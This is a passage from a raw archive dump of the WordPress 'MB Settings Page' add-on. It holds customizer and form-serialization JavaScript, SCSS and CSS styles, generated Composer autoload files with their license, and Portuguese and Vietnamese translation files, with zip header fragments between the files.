		validate: /^[a-z][a-z0-9_-]*(?:\[(?:\d*|[a-z0-9_-]+)\])*$/i,
		key:      /[a-z0-9_-]+|(?=\[\])/gi,
		named:    /^[a-z0-9_-]+$/i
	} );

	// Transform { "mbb_0": "first", "mbb_1": "second" } to ["first", "second"] recursively.
	const transformObject = obj => {
		if ( typeof obj !== 'object' ) {
			return obj;
		}
		if ( Array.isArray( obj ) ) {
			return obj.map( transformObject );
		}

		// Make sure all keys are 'mbb_*'.
		const keys = Object.keys( obj );
		const match = keys.reduce( ( check, key ) => check && /^mbb_\d+$/.test( key ), true );
		if ( match ) {
			return Object.values( obj ).map( transformObject );
		}

		keys.forEach( key => obj[key] = transformObject( obj[key] ) );

		return obj;
	}

	api.controlConstructor[ 'meta_box' ] = api.Control.extend( {
		ready: function() {
			var setting = this.setting,
				$container = $( this.container );

			function setValue() {
				var data = $container.find( inputSelectors ).mbSerializeObject();
				data = transformObject( data );
				setting.set( JSON.stringify( data ) );
			}

			$container.on( 'change keyup input mb_change', inputSelectors, _.debounce( setValue, 200 ) );
			setValue();

			rwmb.$document.trigger( 'mb_init_editors' );
		}
	} );
} )( jQuery, wp.customize, rwmb );PK     0w\ap    @  dashboard/lib/mb-settings-page/assets/jquery.serialize-object.jsnu [        /**
 * Modified version of jQuery serializeObject.
 * Fix conflict with jQuery serialize object plugin bundled with WordPress.
 * Change the plugin public API.
 *
 * @copyright 2014, macek <paulmacek@gmail.com>
 * @link https://github.com/macek/jquery-serialize-object
 * @license BSD
 * @version 2.5.0
 */
(function(root, factory) {

  // AMD
  if (typeof define === "function" && define.amd) {
    define(["exports", "jquery"], function(exports, $) {
      return factory(exports, $);
    });
  }

  // CommonJS
  else if (typeof exports !== "undefined") {
    var $ = require("jquery");
    factory(exports, $);
  }

  // Browser
  else {
    factory(root, (root.jQuery || root.Zepto || root.ender || root.$));
  }

}(this, function(exports, $) {

  var patterns = {
    validate: /^[a-z_][a-z0-9_]*(?:\[(?:\d*|[a-z0-9_]+)\])*$/i,
    key:      /[a-z0-9_]+|(?=\[\])/gi,
    push:     /^$/,
    fixed:    /^\d+$/,
    named:    /^[a-z0-9_]+$/i
  };

  function FormSerializer(helper, $form) {

    // private variables
    var data     = {},
        pushes   = {};

    // private API
    function build(base, key, value) {
      base[key] = value;
      return base;
    }

    function makeObject(root, value) {

      var keys = root.match(patterns.key), k;

      // nest, nest, ..., nest
      while ((k = keys.pop()) !== undefined) {
        // foo[]
        if (patterns.push.test(k)) {
          var idx = incrementPush(root.replace(/\[\]$/, ''));
          value = build([], idx, value);
        }

        // foo[n]
        else if (patterns.fixed.test(k)) {
          value = build({}, 'mbb_' + k, value); // Hack: add 'mbb_' prefix to preserve the order of properties.
        }

        // foo; foo[bar]
        else if (patterns.named.test(k)) {
          value = build({}, k, value);
        }
      }

      return value;
    }

    function incrementPush(key) {
      if (pushes[key] === undefined) {
        pushes[key] = 0;
      }
      return pushes[key]++;
    }

    function encode(pair) {
      switch ($('[name="' + pair.name + '"]', $form).attr("type")) {
        case "checkbox":
          return pair.value === "on" ? true : pair.value;
        default:
          return pair.value;
      }
    }

    function addPair(pair) {
      if (!patterns.validate.test(pair.name)) return this;
      var obj = makeObject(pair.name, encode(pair));
      data = helper.extend(true, data, obj);
      return this;
    }

    function addPairs(pairs) {
      if (!helper.isArray(pairs)) {
        throw new Error("formSerializer.addPairs expects an Array");
      }
      for (var i=0, len=pairs.length; i<len; i++) {
        this.addPair(pairs[i]);
      }
      return this;
    }

    function serialize() {
      return data;
    }

    function serializeJSON() {
      return JSON.stringify(serialize());
    }

    // public API
    this.addPair = addPair;
    this.addPairs = addPairs;
    this.serialize = serialize;
    this.serializeJSON = serializeJSON;
  }

  FormSerializer.patterns = patterns;

  FormSerializer.serializeObject = function serializeObject() {
    return new FormSerializer($, this).
      addPairs(this.serializeArray()).
      serialize();
  };

  FormSerializer.serializeJSON = function serializeJSON() {
    return new FormSerializer($, this).
      addPairs(this.serializeArray()).
      serializeJSON();
  };

  if (typeof $.fn !== "undefined") {
    $.fn.mbSerializeObject = FormSerializer.serializeObject;
    $.fn.mbSerializeJSON   = FormSerializer.serializeJSON;
  }

  exports.FormSerializer = FormSerializer;

  return FormSerializer;
}));
PK     0w\>o
  
  3  dashboard/lib/mb-settings-page/assets/settings.scssnu [        .nav-tab:focus,
.nav-tab:active {
	box-shadow: none;
}

// Tab icon
.nav-tab {
	i,
	img {
		margin-right: 5px;
		margin-top: 4px;
	}
	i {
		width: 16px;
		height: 16px;
		font-size: 16px;
	}
	img {
		width: 12px;
		height: 12px;
		display: inline-block;
	}
}


// No boxes
.rwmb-settings-no-boxes {
	.postbox {
		border: 0;
		box-shadow: none;
		background: transparent;

		.handlediv,
		.hndle {
			display: none;
		}

		.inside {
			font-size: 14px;
		}
	}
	.rwmb-field {
		padding: 20px 0;
		margin-bottom: 0;
	}
	.rwmb-clone {
		background-color: transparent;
	}

	// Meta Box Tabs
	.rwmb-tabs-left .rwmb-tab-panel {
		background-color: #fff;
	}


	// Groups

	// Align the group label and inputs
	.rwmb-group-wrapper > .rwmb-label + .rwmb-input .rwmb-field:first-of-type {
		padding-top: 0;
	}

	// Align the clone sorting icon
	.rwmb-group-clone > .rwmb-field:first-of-type {
		padding-top: 0;
	}

	// Highlight the collapsible title and border
	.rwmb-group-collapsible.rwmb-group-non-cloneable,
	.rwmb-group-collapsible > .rwmb-input > .rwmb-group-clone {
		border-color: #ddd;
		padding: 12px;
	}

	.rwmb-group-collapsed.rwmb-group-non-cloneable,
	.rwmb-group-collapsible > .rwmb-input > .rwmb-group-collapsed {
		padding: 0;
	}

	// Keep consistent space for first child field in the collapsible group
	.rwmb-group-wrapper.rwmb-group-collapsible .rwmb-group-clone > .rwmb-field:first-of-type {
		padding-top: 20px;
	}
	.rwmb-row > .rwmb-field {
		padding-top: 0;
	}
}

// Left tabs
.rwmb-settings-tabs-left {
	.rwmb-settings-wrap {
		display: flex;
		margin-top: 15px;
	}
	h2.nav-tab-wrapper {
		padding: 0;
		background: #fff;
		border: 1px solid #ccd0d4;
		min-width: 220px;
	}
	.nav-tab {
		display: block;
		padding: 8px 12px;
		float: none;
		margin: 0;
		color: #0073aa;
		font-size: 13px;
		font-weight: normal;
		background: #fff;
		border: none;
		border-bottom: 1px solid #ccd0d4;
		transition: none;

		&:hover {
			background: #f6f6f6;
		}
	}
	.nav-tab-active {
		background: #f6f6f6;
		color: inherit;
		border-left: 4px solid #0073aa;
		padding-left: 8px;
	}
	.rwmb-settings-form-wrap {
		flex: 1;
		padding: 0 20px;
	}
	#poststuff {
		padding-top: 0;
	}
	.submit {
		margin-bottom: 0;
		padding-bottom: 0;
	}
	&.rwmb-settings-no-boxes {
		.rwmb-settings-wrap {
			border: 1px solid #ddd;
			background: #fff;
		}
		h2.nav-tab-wrapper {
			border-color: #ddd;
			border-width: 0 1px 0 0;
		}
		.nav-tab {
			border-bottom-color: #ddd;
			background-color: #f6f6f6;
		}
		.nav-tab-active {
			background-color: #fff;
			margin-right: -1px;
		}
		.rwmb-settings-form-wrap {
			padding-top: 20px;
			padding-bottom: 20px;
		}
		#poststuff .inside {
			margin: 0;
			padding: 0;
		}
		.rwmb-meta-box > .rwmb-field:first-of-type {
			padding-top: 0;
		}
	}
}
PK     0w\G    6  dashboard/lib/mb-settings-page/assets/settings.css.mapnu [        {"version":3,"sourceRoot":"","sources":["settings.scss"],"names":[],"mappings":"AAAA;AAAA;EAEC;;;AAKA;AAAA;EAEC;EACA;;AAED;EACC;EACA;EACA;;AAED;EACC;EACA;EACA;;;AAOD;EACC;EACA;EACA;;AAEA;AAAA;EAEC;;AAGD;EACC;;AAGF;EACC;EACA;;AAED;EACC;;AAID;EACC;;AAOD;EACC;;AAID;EACC;;AAID;AAAA;EAEC;EACA;;AAGD;AAAA;EAEC;;AAID;EACC;;AAED;EACC;;;AAMD;EACC;EACA;;AAED;EACC;EACA;EACA;EACA;;AAED;EACC;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;EACA;;AAEA;EACC;;AAGF;EACC;EACA;EACA;EACA;;AAED;EACC;EACA;;AAED;EACC;;AAED;EACC;EACA;;AAGA;EACC;EACA;;AAED;EACC;EACA;;AAED;EACC;EACA;;AAED;EACC;EACA;;AAED;EACC;EACA;;AAED;EACC;EACA;;AAED;EACC","file":"settings.css"}PK     0w\A    4  dashboard/lib/mb-settings-page/assets/customizer.cssnu [        /* Make fields vertical layout */
.rwmb-label,
.customize-control .rwmb-input {
	width: 100%;
}
.rwmb-label {
	margin-bottom: 4px;
}

/* Resize remove clone button */
.rwmb-clone {
	background: none;
}
.rwmb-button.remove-clone {
	right: -18px;
}
.rwmb-button.remove-clone .dashicons {
	font-size: 14px;
	width: 14px;
	height: 14px;
}

/* Show color picker inline because of overflow: hidden on a parent element */
.rwmb-color-wrapper .wp-picker-holder {
	position: static;
}
/* Always set uploaded images 1/2 width, regardless their size */
.rwmb-image-item.rwmb-image-item {
	width: 50%;
}
/* Fix CSS overflow layout with file/image upload field */
.rwmb-upload-inside .moxie-shim {
	display: none;
}
/* Set background dropdowns 100% width to show full placeholder */
.rwmb-background-wrapper .rwmb-select {
	width: 100%;
	max-width: none;
}
.rwmb-file_input.rwmb-file_input.rwmb-file_input {
	margin-bottom: 4px;
}PK     0w\      2  dashboard/lib/mb-settings-page/vendor/autoload.phpnu [        <?php

// autoload.php @generated by Composer

require_once __DIR__ . '/composer/autoload_real.php';

return ComposerAutoloaderInit6d8949d71f8642fa71b1f18c16efe1b8::getLoader();
PK     0w\t!ו      F  dashboard/lib/mb-settings-page/vendor/composer/autoload_namespaces.phpnu [        <?php

// autoload_namespaces.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);

return array(
);
PK     0w\^?    B  dashboard/lib/mb-settings-page/vendor/composer/autoload_static.phpnu [        <?php

// autoload_static.php @generated by Composer

namespace Composer\Autoload;

class ComposerStaticInit6d8949d71f8642fa71b1f18c16efe1b8
{
    public static $prefixLengthsPsr4 = array (
        'M' => 
        array (
            'MBSP\\' => 5,
        ),
    );

    public static $prefixDirsPsr4 = array (
        'MBSP\\' => 
        array (
            0 => __DIR__ . '/../..' . '/src',
        ),
    );

    public static $classMap = array (
        'RWMB_Backup_Field' => __DIR__ . '/../..' . '/src/BackupField.php',
    );

    public static function getInitializer(ClassLoader $loader)
    {
        return \Closure::bind(function () use ($loader) {
            $loader->prefixLengthsPsr4 = ComposerStaticInit6d8949d71f8642fa71b1f18c16efe1b8::$prefixLengthsPsr4;
            $loader->prefixDirsPsr4 = ComposerStaticInit6d8949d71f8642fa71b1f18c16efe1b8::$prefixDirsPsr4;
            $loader->classMap = ComposerStaticInit6d8949d71f8642fa71b1f18c16efe1b8::$classMap;

        }, null, ClassLoader::class);
    }
}
PK     0w\ .  .  6  dashboard/lib/mb-settings-page/vendor/composer/LICENSEnu [        
Copyright (c) Nils Adermann, Jordi Boggiano

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is furnished
to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.

PK     0w\Yծ    @  dashboard/lib/mb-settings-page/vendor/composer/autoload_real.phpnu [        <?php

// autoload_real.php @generated by Composer

class ComposerAutoloaderInit6d8949d71f8642fa71b1f18c16efe1b8
{
    private static $loader;

    public static function loadClassLoader($class)
    {
        if ('Composer\Autoload\ClassLoader' === $class) {
            require __DIR__ . '/ClassLoader.php';
        }
    }

    public static function getLoader()
    {
        if (null !== self::$loader) {
            return self::$loader;
        }

        spl_autoload_register(array('ComposerAutoloaderInit6d8949d71f8642fa71b1f18c16efe1b8', 'loadClassLoader'), true, true);
        self::$loader = $loader = new \Composer\Autoload\ClassLoader();
        spl_autoload_unregister(array('ComposerAutoloaderInit6d8949d71f8642fa71b1f18c16efe1b8', 'loadClassLoader'));

        $useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded());
        if ($useStaticLoader) {
            require_once __DIR__ . '/autoload_static.php';

            call_user_func(\Composer\Autoload\ComposerStaticInit6d8949d71f8642fa71b1f18c16efe1b8::getInitializer($loader));
        } else {
            $map = require __DIR__ . '/autoload_namespaces.php';
            foreach ($map as $namespace => $path) {
                $loader->set($namespace, $path);
            }

            $map = require __DIR__ . '/autoload_psr4.php';
            foreach ($map as $namespace => $path) {
                $loader->setPsr4($namespace, $path);
            }

            $classMap = require __DIR__ . '/autoload_classmap.php';
            if ($classMap) {
                $loader->addClassMap($classMap);
            }
        }

        $loader->register(true);

        return $loader;
    }
}
PK     0w\z4  4  >  dashboard/lib/mb-settings-page/vendor/composer/ClassLoader.phpnu [        <?php

/*
 * This file is part of Composer.
 *
 * (c) Nils Adermann <naderman@naderman.de>
 *     Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Composer\Autoload;

/**
 * ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
 *
 *     $loader = new \Composer\Autoload\ClassLoader();
 *
 *     // register classes with namespaces
 *     $loader->add('Symfony\Component', __DIR__.'/component');
 *     $loader->add('Symfony',           __DIR__.'/framework');
 *
 *     // activate the autoloader
 *     $loader->register();
 *
 *     // to enable searching the include path (eg. for PEAR packages)
 *     $loader->setUseIncludePath(true);
 *
 * In this example, if you try to use a class in the Symfony\Component
 * namespace or one of its children (Symfony\Component\Console for instance),
 * the autoloader will first look for the class under the component/
 * directory, and it will then fallback to the framework/ directory if not
 * found before giving up.
 *
 * This class is loosely based on the Symfony UniversalClassLoader.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Jordi Boggiano <j.boggiano@seld.be>
 * @see    http://www.php-fig.org/psr/psr-0/
 * @see    http://www.php-fig.org/psr/psr-4/
 */
class ClassLoader
{
    // PSR-4
    private $prefixLengthsPsr4 = array();
    private $prefixDirsPsr4 = array();
    private $fallbackDirsPsr4 = array();

    // PSR-0
    private $prefixesPsr0 = array();
    private $fallbackDirsPsr0 = array();

    private $useIncludePath = false;
    private $classMap = array();
    private $classMapAuthoritative = false;
    private $missingClasses = array();
    private $apcuPrefix;

    public function getPrefixes()
    {
        if (!empty($this->prefixesPsr0)) {
            return call_user_func_array('array_merge', $this->prefixesPsr0);
        }

        return array();
    }

    public function getPrefixesPsr4()
    {
        return $this->prefixDirsPsr4;
    }

    public function getFallbackDirs()
    {
        return $this->fallbackDirsPsr0;
    }

    public function getFallbackDirsPsr4()
    {
        return $this->fallbackDirsPsr4;
    }

    public function getClassMap()
    {
        return $this->classMap;
    }

    /**
     * @param array $classMap Class to filename map
     */
    public function addClassMap(array $classMap)
    {
        if ($this->classMap) {
            $this->classMap = array_merge($this->classMap, $classMap);
        } else {
            $this->classMap = $classMap;
        }
    }

    /**
     * Registers a set of PSR-0 directories for a given prefix, either
     * appending or prepending to the ones previously set for this prefix.
     *
     * @param string       $prefix  The prefix
     * @param array|string $paths   The PSR-0 root directories
     * @param bool         $prepend Whether to prepend the directories
     */
    public function add($prefix, $paths, $prepend = false)
    {
        if (!$prefix) {
            if ($prepend) {
                $this->fallbackDirsPsr0 = array_merge(
                    (array) $paths,
                    $this->fallbackDirsPsr0
                );
            } else {
                $this->fallbackDirsPsr0 = array_merge(
                    $this->fallbackDirsPsr0,
                    (array) $paths
                );
            }

            return;
        }

        $first = $prefix[0];
        if (!isset($this->prefixesPsr0[$first][$prefix])) {
            $this->prefixesPsr0[$first][$prefix] = (array) $paths;

            return;
        }
        if ($prepend) {
            $this->prefixesPsr0[$first][$prefix] = array_merge(
                (array) $paths,
                $this->prefixesPsr0[$first][$prefix]
            );
        } else {
            $this->prefixesPsr0[$first][$prefix] = array_merge(
                $this->prefixesPsr0[$first][$prefix],
                (array) $paths
            );
        }
    }

    /**
     * Registers a set of PSR-4 directories for a given namespace, either
     * appending or prepending to the ones previously set for this namespace.
     *
     * @param string       $prefix  The prefix/namespace, with trailing '\\'
     * @param array|string $paths   The PSR-4 base directories
     * @param bool         $prepend Whether to prepend the directories
     *
     * @throws \InvalidArgumentException
     */
    public function addPsr4($prefix, $paths, $prepend = false)
    {
        if (!$prefix) {
            // Register directories for the root namespace.
            if ($prepend) {
                $this->fallbackDirsPsr4 = array_merge(
                    (array) $paths,
                    $this->fallbackDirsPsr4
                );
            } else {
                $this->fallbackDirsPsr4 = array_merge(
                    $this->fallbackDirsPsr4,
                    (array) $paths
                );
            }
        } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
            // Register directories for a new namespace.
            $length = strlen($prefix);
            if ('\\' !== $prefix[$length - 1]) {
                throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
            }
            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
            $this->prefixDirsPsr4[$prefix] = (array) $paths;
        } elseif ($prepend) {
            // Prepend directories for an already registered namespace.
            $this->prefixDirsPsr4[$prefix] = array_merge(
                (array) $paths,
                $this->prefixDirsPsr4[$prefix]
            );
        } else {
            // Append directories for an already registered namespace.
            $this->prefixDirsPsr4[$prefix] = array_merge(
                $this->prefixDirsPsr4[$prefix],
                (array) $paths
            );
        }
    }

    /**
     * Registers a set of PSR-0 directories for a given prefix,
     * replacing any others previously set for this prefix.
     *
     * @param string       $prefix The prefix
     * @param array|string $paths  The PSR-0 base directories
     */
    public function set($prefix, $paths)
    {
        if (!$prefix) {
            $this->fallbackDirsPsr0 = (array) $paths;
        } else {
            $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths;
        }
    }

    /**
     * Registers a set of PSR-4 directories for a given namespace,
     * replacing any others previously set for this namespace.
     *
     * @param string       $prefix The prefix/namespace, with trailing '\\'
     * @param array|string $paths  The PSR-4 base directories
     *
     * @throws \InvalidArgumentException
     */
    public function setPsr4($prefix, $paths)
    {
        if (!$prefix) {
            $this->fallbackDirsPsr4 = (array) $paths;
        } else {
            $length = strlen($prefix);
            if ('\\' !== $prefix[$length - 1]) {
                throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
            }
            $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
            $this->prefixDirsPsr4[$prefix] = (array) $paths;
        }
    }

    /**
     * Turns on searching the include path for class files.
     *
     * @param bool $useIncludePath
     */
    public function setUseIncludePath($useIncludePath)
    {
        $this->useIncludePath = $useIncludePath;
    }

    /**
     * Can be used to check if the autoloader uses the include path to check
     * for classes.
     *
     * @return bool
     */
    public function getUseIncludePath()
    {
        return $this->useIncludePath;
    }

    /**
     * Turns off searching the prefix and fallback directories for classes
     * that have not been registered with the class map.
     *
     * @param bool $classMapAuthoritative
     */
    public function setClassMapAuthoritative($classMapAuthoritative)
    {
        $this->classMapAuthoritative = $classMapAuthoritative;
    }

    /**
     * Should class lookup fail if not found in the current class map?
     *
     * @return bool
     */
    public function isClassMapAuthoritative()
    {
        return $this->classMapAuthoritative;
    }

    /**
     * APCu prefix to use to cache found/not-found classes, if the extension is enabled.
     *
     * @param string|null $apcuPrefix
     */
    public function setApcuPrefix($apcuPrefix)
    {
        $this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null;
    }

    /**
     * The APCu prefix in use, or null if APCu caching is not enabled.
     *
     * @return string|null
     */
    public function getApcuPrefix()
    {
        return $this->apcuPrefix;
    }

    /**
     * Registers this instance as an autoloader.
     *
     * @param bool $prepend Whether to prepend the autoloader or not
     */
    public function register($prepend = false)
    {
        spl_autoload_register(array($this, 'loadClass'), true, $prepend);
    }

    /**
     * Unregisters this instance as an autoloader.
     */
    public function unregister()
    {
        spl_autoload_unregister(array($this, 'loadClass'));
    }

    /**
     * Loads the given class or interface.
     *
     * @param  string    $class The name of the class
     * @return bool|null True if loaded, null otherwise
     */
    public function loadClass($class)
    {
        if ($file = $this->findFile($class)) {
            includeFile($file);

            return true;
        }
    }

    /**
     * Finds the path to the file where the class is defined.
     *
     * @param string $class The name of the class
     *
     * @return string|false The path if found, false otherwise
     */
    public function findFile($class)
    {
        // class map lookup
        if (isset($this->classMap[$class])) {
            return $this->classMap[$class];
        }
        if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) {
            return false;
        }
        if (null !== $this->apcuPrefix) {
            $file = apcu_fetch($this->apcuPrefix.$class, $hit);
            if ($hit) {
                return $file;
            }
        }

        $file = $this->findFileWithExtension($class, '.php');

        // Search for Hack files if we are running on HHVM
        if (false === $file && defined('HHVM_VERSION')) {
            $file = $this->findFileWithExtension($class, '.hh');
        }

        if (null !== $this->apcuPrefix) {
            apcu_add($this->apcuPrefix.$class, $file);
        }

        if (false === $file) {
            // Remember that this class does not exist.
            $this->missingClasses[$class] = true;
        }

        return $file;
    }

    private function findFileWithExtension($class, $ext)
    {
        // PSR-4 lookup
        $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext;

        $first = $class[0];
        if (isset($this->prefixLengthsPsr4[$first])) {
            $subPath = $class;
            while (false !== $lastPos = strrpos($subPath, '\\')) {
                $subPath = substr($subPath, 0, $lastPos);
                $search = $subPath . '\\';
                if (isset($this->prefixDirsPsr4[$search])) {
                    $pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1);
                    foreach ($this->prefixDirsPsr4[$search] as $dir) {
                        if (file_exists($file = $dir . $pathEnd)) {
                            return $file;
                        }
                    }
                }
            }
        }

        // PSR-4 fallback dirs
        foreach ($this->fallbackDirsPsr4 as $dir) {
            if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) {
                return $file;
            }
        }

        // PSR-0 lookup
        if (false !== $pos = strrpos($class, '\\')) {
            // namespaced class name
            $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1)
                . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR);
        } else {
            // PEAR-like class name
            $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext;
        }

        if (isset($this->prefixesPsr0[$first])) {
            foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) {
                if (0 === strpos($class, $prefix)) {
                    foreach ($dirs as $dir) {
                        if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
                            return $file;
                        }
                    }
                }
            }
        }

        // PSR-0 fallback dirs
        foreach ($this->fallbackDirsPsr0 as $dir) {
            if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
                return $file;
            }
        }

        // PSR-0 include paths.
        if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) {
            return $file;
        }

        return false;
    }
}

/**
 * Scope isolated include.
 *
 * Prevents access to $this/self from included files.
 */
function includeFile($file)
{
    include $file;
}
PK     0w\       @  dashboard/lib/mb-settings-page/vendor/composer/autoload_psr4.phpnu [        <?php

// autoload_psr4.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);

return array(
    'MBSP\\' => array($baseDir . '/src'),
);
PK     0w\tq      D  dashboard/lib/mb-settings-page/vendor/composer/autoload_classmap.phpnu [        <?php

// autoload_classmap.php @generated by Composer

$vendorDir = dirname(dirname(__FILE__));
$baseDir = dirname($vendorDir);

return array(
    'RWMB_Backup_Field' => $baseDir . '/src/BackupField.php',
);
PK     0w\Ο*  *  B  dashboard/lib/mb-settings-page/languages/mb-settings-page-pt-br.ponu [        # This file was generated by WPML
# WPML is a WordPress plugin that can turn any WordPress or WordPressMU site into a full featured multilingual content management system.
# https://wpml.org
msgid ""
msgstr ""
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Project-Id-Version: WPML_EXPORT_mb-settings-page\n"
"POT-Creation-Date: \n"
"PO-Revision-Date: \n"
"Last-Translator: \n"
"Language-Team: \n"
"Language: pt_BR\n"
"MIME-Version: 1.0\n"
"X-Generator: Poedit 2.1.1\n"

# wpml-name: 9a7e58ee13cb727cb7c4acc68f4cafe5
#: 'tabs' => array(), 'submit_button' __( 'Save Settings', 'mb-settings-page'
#: ), 'message' 'Settings saved.',
msgid "Settings saved."
msgstr "Configurações salvas."

# wpml-name: 9daf1fb753b42c3cdc8f1d01669cd6d8
msgid "Save Settings"
msgstr "Salvar configurações"

# wpml-name: 5b28ee398da148313e912a0c08d76ba4
msgid "1.3.3"
msgstr "1.3.3"

# wpml-name: 9cd994a14d882bd9e4681ffad56da232
msgid "https://metabox.io"
msgstr "https://metabox.io"

# wpml-name: f76b5fbe021228cbcf62b723f78e5bef
msgid "MetaBox.io"
msgstr "MetaBox.io"

# wpml-name: afb4f822fe0792916d89ab38a9c734e3
msgid "Add-on for meta box plugin which helps you create settings pages easily."
msgstr "Complemento para o plugin Meta Box, que ajuda você a criar facilmente as páginas de configurações."

# wpml-name: 68461e080d916091b247f5efdcc4bd05
msgid "https://metabox.io/plugins/mb-settings-page/"
msgstr "https://metabox.io/plugins/mb-settings-page/"

# wpml-name: b97dd6111e5b70bc5dc2e65257d5fdb5
msgid "MB Settings Page"
msgstr "MB Settings Page"
PK     0w\%5    ?  dashboard/lib/mb-settings-page/languages/mb-settings-page-vi.monu [                  4      L       `      a      o              "                       Save Settings Settings saved. Project-Id-Version: MB Settings Page 1.1.3
Report-Msgid-Bugs-To: http://wordpress.org/support/plugin/meta-box
POT-Creation-Date: 2016-06-07 08:53+0700
PO-Revision-Date: 2016-06-07 08:53+0700
Last-Translator: 
Language-Team: Meta Box <admin@metabox.io>
Language: vi
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Generator: Poedit 1.8.8
X-Poedit-KeywordsList: __;_x;_e;_ex;_n;_nx;esc_attr__;esc_attr_e;esc_attr_x;esc_html__;esc_html_e;esc_html_x;_n_noop;_nx_noop
X-Poedit-Basepath: ..
Plural-Forms: nplurals=1; plural=0;
X-Poedit-SearchPath-0: .
X-Poedit-SearchPathExcluded-0: js
X-Poedit-SearchPathExcluded-1: demo
X-Poedit-SearchPathExcluded-2: tests
X-Poedit-SearchPathExcluded-3: css
X-Poedit-SearchPathExcluded-4: lang
 Lưu thiết lập Thiết đặt đã được lưu. PK     0w\f  f  ?  dashboard/lib/mb-settings-page/languages/mb-settings-page-vi.ponu [        # <!=Copyright (C) 2014 Rilwis
# This file is distributed under the GPL2+.=!>
msgid ""
msgstr ""
"Project-Id-Version: MB Settings Page 1.1.3\n"
"Report-Msgid-Bugs-To: http://wordpress.org/support/plugin/meta-box\n"
"POT-Creation-Date: 2016-06-07 08:53+0700\n"
"PO-Revision-Date: 2016-06-07 08:53+0700\n"
"Last-Translator: \n"
"Language-Team: Meta Box <admin@metabox.io>\n"
"Language: vi\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Poedit 1.8.8\n"
"X-Poedit-KeywordsList: __;_x;_e;_ex;_n;_nx;esc_attr__;esc_attr_e;esc_attr_x;"
"esc_html__;esc_html_e;esc_html_x;_n_noop;_nx_noop\n"
"X-Poedit-Basepath: ..\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Poedit-SearchPath-0: .\n"
"X-Poedit-SearchPathExcluded-0: js\n"
"X-Poedit-SearchPathExcluded-1: demo\n"
"X-Poedit-SearchPathExcluded-2: tests\n"
"X-Poedit-SearchPathExcluded-3: css\n"
"X-Poedit-SearchPathExcluded-4: lang\n"

#: inc/settings-page.php:163
msgid "Save Settings"
msgstr "Lưu thiết lập"

#: inc/settings-page.php:224
msgid "Settings saved."
msgstr "Thiết đặt đã được lưu."
PK     0w\/i    4  dashboard/lib/mb-settings-page/languages/default.potnu [        # <!=Copyright (C) 2014 Rilwis
# This file is distributed under the GPL2+.=!>
#, fuzzy
msgid ""
msgstr ""
"Project-Id-Version: MB Settings Page 1.1.3\n"
"Report-Msgid-Bugs-To: http://wordpress.org/support/plugin/meta-box\n"
"POT-Creation-Date: 2016-06-06 10:52+0700\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"PO-Revision-Date: 2014-MO-DA HO:MI+ZONE\n"
"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
"Language-Team: Meta Box <admin@metabox.io>\n"
"X-Generator: Poedit 1.8.8\n"
"X-Poedit-KeywordsList: __;_x;_e;_ex;_n;_nx;esc_attr__;esc_attr_e;esc_attr_x;esc_html__;esc_html_e;esc_html_x;_n_noop;_nx_noop\n"
"X-Poedit-Basepath: ..\n"
"X-Poedit-SearchPath-0: .\n"
"X-Poedit-SearchPathExcluded-0: js\n"
"X-Poedit-SearchPathExcluded-1: demo\n"
"X-Poedit-SearchPathExcluded-2: tests\n"
